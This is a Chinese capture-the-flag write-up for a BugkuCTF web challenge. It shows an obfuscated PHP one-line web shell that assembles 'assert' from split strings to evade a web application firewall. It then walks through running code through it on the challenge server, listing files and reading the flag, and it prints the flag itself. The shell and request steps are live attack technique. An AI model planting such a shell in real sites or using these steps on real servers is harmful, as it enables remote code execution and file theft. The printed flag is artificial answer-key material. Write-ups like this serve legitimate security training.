BugkuCTF-Web22-过狗一句话
题目描述如下:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
上面的php进行格式化:
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
分析下代码,先是定义了一个变量poc,然后定义变量poc_1让其分割poc成数组,,然后定变量poc_2让其等于数组poc_1的组合,也就构成了assert。最后执行的也就是assert($_GET[‘s’]),而assert函数有任意代码执行的漏洞,测试s=phpinfo(),发现可以显示php探针页面。
参考php中读取目录下文件的方法:
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思
构造代码http://114.67.246.176:18023/index.php?s=print_r(scandir(%27/%27)),获取当前目录下文件名列表的数组
Array ( [0] => . [1] => .. [2] => flaga15808abee46a1d5.txt [3] => index.php )
发现flag信息,构造代码http://114.67.246.176:18023/index.php?s=print_r(show_source(%27flaga15808abee46a1d5.txt%27)),获得flag。
<code><span style="color: #000000">
flag{91ba050efddca647e57326bf2c1a79c6}</span>
</code>1